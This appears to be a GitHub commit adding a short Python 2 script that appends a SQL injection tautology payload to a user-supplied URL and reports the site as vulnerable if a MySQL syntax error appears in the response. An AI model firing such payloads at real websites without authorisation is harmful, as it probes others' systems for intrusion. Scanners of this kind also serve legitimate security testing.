Added python SQL injection

EricSzla · Oct 31, 2017 · 8982a3e · 8982a3e
1 parent 3221b5c
commit 8982a3e
Showing 1 changed file with 14 additions and 0 deletions.
diff --git a/SQLInjection/SQLInjection.py b/SQLInjection/SQLInjection.py
@@ -0,0 +1,14 @@
+import sys
+import urllib
+from urllib2 import urlopen
+
+fullurl = raw_input("Please enter URL: ")
+
+resp = urlopen(fullurl + "=1\' or \'1\' = \'1\'")
+body = resp.read()
+fullbody = body.decode('utf-8')
+
+if "You have an error in your SQL syntax" in fullbody:
+    print ("Website is vulnerable")
+else:
+    print ("Website is not vulnerable");